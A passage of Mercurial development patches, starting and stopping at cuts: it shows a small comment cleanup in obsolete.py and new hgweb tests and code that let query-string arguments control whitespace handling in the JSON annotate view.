+++ b/tests/test-treediscovery.t
@@ -552,7 +552,7 @@
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=branches HTTP/1.1" 200 - x-hgarg-1:nodes=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=between HTTP/1.1" 200 - x-hgarg-1:pairs=d8f638ac69e9ae8dea4f09f11d696546a912d961-d57206cc072a18317c1e381fb60aa31bd3401785 x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
-  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961 x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
+  "GET /?cmd=changegroupsubset HTTP/1.1" 200 - x-hgarg-1:bases=d8f638ac69e9ae8dea4f09f11d696546a912d961&heads=d8f638ac69e9ae8dea4f09f11d696546a912d961+2c8d5d5ec612be65cdfdeac78b7662ab1696324a x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=listkeys HTTP/1.1" 200 - x-hgarg-1:namespace=phases x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=heads HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=zlib,none,bzip2
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1499345167 -7200
#      Thu Jul 06 14:46:07 2017 +0200
# Node ID ddcef6d0b0efa21842de8e481489de185bf577c9
# Parent  c4594d38b2da9829cb67f2e3bc401232d5981bc8
obsolete: clean createmarkers part about operation

I will add another experiment in createmarkers, add a comment and some blank
lines for aesthetic sake.

Differential Revision: https://phab.mercurial-scm.org/D532

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -1028,10 +1028,13 @@
         metadata = {}
     if 'user' not in metadata:
         metadata['user'] = repo.ui.username()
+
+    # Operation metadata handling
     useoperation = repo.ui.configbool('experimental',
         'stabilization.track-operation')
     if useoperation and operation:
         metadata['operation'] = operation
+
     tr = repo.transaction('add-obsolescence-marker')
     try:
         markerargs = []
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506758820 -3600
#      Sat Sep 30 09:07:00 2017 +0100
# Node ID e16ad1576d712566ac86082d61811a48d838bb92
# Parent  ddcef6d0b0efa21842de8e481489de185bf577c9
tests: add tests for hgweb annotate output

In preparation for adding features to modify whitespace settings.

Differential Revision: https://phab.mercurial-scm.org/D848

diff --git a/tests/test-hgweb-annotate-whitespace.t b/tests/test-hgweb-annotate-whitespace.t
new file mode 100644
--- /dev/null
+++ b/tests/test-hgweb-annotate-whitespace.t
@@ -0,0 +1,788 @@
+#require serve
+
+Create a repo with whitespace only changes
+
+  $ hg init repo-with-whitespace
+  $ cd repo-with-whitespace
+  $ cat > foo << EOF
+  > line 0
+  > line 1
+  > line 2
+  > line 3
+  > EOF
+  $ hg -q commit -A -m 'commit 0'
+  $ cat > foo << EOF
+  > line 0
+  > line 1 modified by 1
+  > line 2
+  > line 3
+  > EOF
+  $ hg commit -m 'commit 1'
+  $ cat > foo << EOF
+  > line 0
+  > line 1 modified by 1
+  >     line 2
+  > line 3
+  > EOF
+  $ hg commit -m 'commit 2 (leading whitespace on line 2)'
+  $ cat > foo << EOF
+  > line 0
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+Need to use printf to avoid check-code complaining about trailing whitespace.
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 3 (trailing whitespace on line 3)'
+  $ cat > foo << EOF
+  > line  0
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 4 (intra whitespace on line 0)'
+  $ cat > foo << EOF
+  > line  0
+  > 
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 5 (add blank line between line 0 and 1)'
+  $ cat > foo << EOF
+  > line  0
+  > 
+  > 
+  > line 1 modified by 1
+  >     line 2
+  > EOF
+  $ printf 'line 3    \n' >> foo
+  $ hg commit -m 'commit 6 (add another blank line between line 0 and 1)'
+
+  $ hg log -G -T '{rev}:{node|short} {desc}'
+  @  6:9d1b2c7db017 commit 6 (add another blank line between line 0 and 1)
+  |
+  o  5:400ef1d40470 commit 5 (add blank line between line 0 and 1)
+  |
+  o  4:08adbe269f24 commit 4 (intra whitespace on line 0)
+  |
+  o  3:dcb62cfbfc9b commit 3 (trailing whitespace on line 3)
+  |
+  o  2:6bdb694e7b8c commit 2 (leading whitespace on line 2)
+  |
+  o  1:23e1e37387dc commit 1
+  |
+  o  0:b9c578134d72 commit 0
+  
+
+  $ hg serve -p $HGPORT -d --pid-file hg.pid
+  $ cat hg.pid >> $DAEMON_PIDS
+  $ hg --config annotate.ignorews=true serve -p $HGPORT1 -d --pid-file hg.pid
+  $ cat hg.pid >> $DAEMON_PIDS
+  $ cd ..
+
+Annotate works
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+annotate.ignorews=1 config option is honored
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT1 'json-annotate/9d1b2c7db017/foo'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorews=1 query string argument enables whitespace skipping (not implemented)
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorews=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorews=0 query string argument disables when config defaults to enabled (not implemented)
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT1 'json-annotate/9d1b2c7db017/foo?ignorews=0'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorewsamount=1 query string enables whitespace amount skipping (not implemented)
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorewsamount=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorewseol=1 query string enables whitespace end of line skipping (not implemented)
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorewseol=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignoreblanklines=1 query string enables whitespace blank line skipping (not implemented)
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignoreblanklines=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 4 (intra whitespace on line 0)",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 3 (trailing whitespace on line 3)",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506758881 -3600
#      Sat Sep 30 09:08:01 2017 +0100
# Node ID f6492f482c60d486e9bdcd9346c5581ed20d5799
# Parent  e16ad1576d712566ac86082d61811a48d838bb92
hgweb: query string arguments to control whitespace for annotate

This feature should hopefully be pretty straightforward. We simply
examine some query string arguments to feed into the diff options.

The function to obtain the diff options has been factored into its
own generic function to facilitate an upcoming change to the HTML
interface and to enable diff settings to be controlled via the same
query string arguments on other web commands.

The test output for "ignoreblanklines" didn't change. I'm not sure
why. Our test coverage for --ignore-blank-lines isn't great and I
can't figure out how to make this diff setting do anything meaningful.
On a very brief examination of the code, it is possible the setting
doesn't work because it is operating at the line level and blank lines
detection needs to examine multiple lines. But I'm not an expert in
this code, so I'm not sure.

Differential Revision: https://phab.mercurial-scm.org/D849

diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -863,6 +863,12 @@
 
     Show changeset information for each line in a file.
 
+    The ``ignorews``, ``ignorewsamount``, ``ignorewseol``, and
+    ``ignoreblanklines`` query string arguments have the same meaning as
+    their ``[annotate]`` config equivalents. A value of ``0`` sets the
+    whitespace option to false. All other values are true. If not defined,
+    the server default settings are used.
+
     The ``fileannotate`` template is rendered.
     """
     fctx = webutil.filectx(web.repo, req)
@@ -895,7 +901,7 @@
                   or 'application/octet-stream')
             lines = [((fctx.filectx(fctx.filerev()), 1), '(binary:%s)' % mt)]
         else:
-            lines = webutil.annotate(fctx, web.repo.ui)
+            lines = webutil.annotate(req, fctx, web.repo.ui)
 
         previousrev = None
         blockparitygen = paritygen(1)
diff --git a/mercurial/hgweb/webutil.py b/mercurial/hgweb/webutil.py
--- a/mercurial/hgweb/webutil.py
+++ b/mercurial/hgweb/webutil.py
@@ -170,9 +170,24 @@
     def __len__(self):
         return len(self.siblings)
 
-def annotate(fctx, ui):
+def difffeatureopts(req, ui, section):
     diffopts = patch.difffeatureopts(ui, untrusted=True,
-                                     section='annotate', whitespace=True)
+                                     section=section, whitespace=True)
+
+    for k in ('ignorews', 'ignorewsamount', 'ignorewseol', 'ignoreblanklines'):
+        v = req.form.get(k, [None])[0]
+        if v is not None:
+            try:
+                v = bool(int(v))
+            except ValueError:
+                v = True
+
+            setattr(diffopts, k, v)
+
+    return diffopts
+
+def annotate(req, fctx, ui):
+    diffopts = difffeatureopts(req, ui, 'annotate')
     return fctx.annotate(follow=True, linenumber=True, diffopts=diffopts)
 
 def parents(ctx, hide=None):
diff --git a/tests/test-hgweb-annotate-whitespace.t b/tests/test-hgweb-annotate-whitespace.t
--- a/tests/test-hgweb-annotate-whitespace.t
+++ b/tests/test-hgweb-annotate-whitespace.t
@@ -282,7 +282,7 @@
     "permissions": ""
   }
 
-ignorews=1 query string argument enables whitespace skipping (not implemented)
+ignorews=1 query string argument enables whitespace skipping
 
   $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorews=1'
   200 Script output follows
@@ -293,107 +293,6 @@
       {
         "abspath": "foo",
         "author": "test",
-        "desc": "commit 4 (intra whitespace on line 0)",
-        "line": "line  0\n",
-        "lineno": 1,
-        "node": "08adbe269f24cf22d975eadeec16790c5b22f558",
-        "revdate": [
-          0.0,
-          0
-        ],
-        "targetline": 1
-      },
-      {
-        "abspath": "foo",
-        "author": "test",
-        "desc": "commit 5 (add blank line between line 0 and 1)",
-        "line": "\n",
-        "lineno": 2,
-        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
-        "revdate": [
-          0.0,
-          0
-        ],
-        "targetline": 2
-      },
-      {
-        "abspath": "foo",
-        "author": "test",
-        "desc": "commit 6 (add another blank line between line 0 and 1)",
-        "line": "\n",
-        "lineno": 3,
-        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
-        "revdate": [
-          0.0,
-          0
-        ],
-        "targetline": 3
-      },
-      {
-        "abspath": "foo",
-        "author": "test",
-        "desc": "commit 1",
-        "line": "line 1 modified by 1\n",
-        "lineno": 4,
-        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
-        "revdate": [
-          0.0,
-          0
-        ],
-        "targetline": 2
-      },
-      {
-        "abspath": "foo",
-        "author": "test",
-        "desc": "commit 2 (leading whitespace on line 2)",
-        "line": "    line 2\n",
-        "lineno": 5,
-        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
-        "revdate": [
-          0.0,
-          0
-        ],
-        "targetline": 3
-      },
-      {
-        "abspath": "foo",
-        "author": "test",
-        "desc": "commit 3 (trailing whitespace on line 3)",
-        "line": "line 3    \n",
-        "lineno": 6,
-        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
-        "revdate": [
-          0.0,
-          0
-        ],
-        "targetline": 4
-      }
-    ],
-    "author": "test",
-    "children": [],
-    "date": [
-      0.0,
-      0
-    ],
-    "desc": "commit 6 (add another blank line between line 0 and 1)",
-    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
-    "parents": [
-      "400ef1d404706cfb48afd2b78ce6addf641ced25"
-    ],
-    "permissions": ""
-  }
-
-ignorews=0 query string argument disables when config defaults to enabled (not implemented)
-
-  $ get-with-headers.py --json $LOCALIP:$HGPORT1 'json-annotate/9d1b2c7db017/foo?ignorews=0'
-  200 Script output follows
-  
-  {
-    "abspath": "foo",
-    "annotate": [
-      {
-        "abspath": "foo",
-        "author": "test",
         "desc": "commit 0",
         "line": "line  0\n",
         "lineno": 1,
@@ -484,9 +383,9 @@
     "permissions": ""
   }
 
-ignorewsamount=1 query string enables whitespace amount skipping (not implemented)
+ignorews=0 query string argument disables when config defaults to enabled
 
-  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorewsamount=1'
+  $ get-with-headers.py --json $LOCALIP:$HGPORT1 'json-annotate/9d1b2c7db017/foo?ignorews=0'
   200 Script output follows
   
   {
@@ -585,7 +484,108 @@
     "permissions": ""
   }
 
-ignorewseol=1 query string enables whitespace end of line skipping (not implemented)
+ignorewsamount=1 query string enables whitespace amount skipping
+
+  $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorewsamount=1'
+  200 Script output follows
+  
+  {
+    "abspath": "foo",
+    "annotate": [
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line  0\n",
+        "lineno": 1,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 1
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 5 (add blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 2,
+        "node": "400ef1d404706cfb48afd2b78ce6addf641ced25",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 6 (add another blank line between line 0 and 1)",
+        "line": "\n",
+        "lineno": 3,
+        "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 1",
+        "line": "line 1 modified by 1\n",
+        "lineno": 4,
+        "node": "23e1e37387dcfca4c0ed0cc568d1e4b9bfed241a",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 2
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 2 (leading whitespace on line 2)",
+        "line": "    line 2\n",
+        "lineno": 5,
+        "node": "6bdb694e7b8cebb68d5b6b27b4bcc2a49d62c602",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 3
+      },
+      {
+        "abspath": "foo",
+        "author": "test",
+        "desc": "commit 0",
+        "line": "line 3    \n",
+        "lineno": 6,
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
+        "revdate": [
+          0.0,
+          0
+        ],
+        "targetline": 4
+      }
+    ],
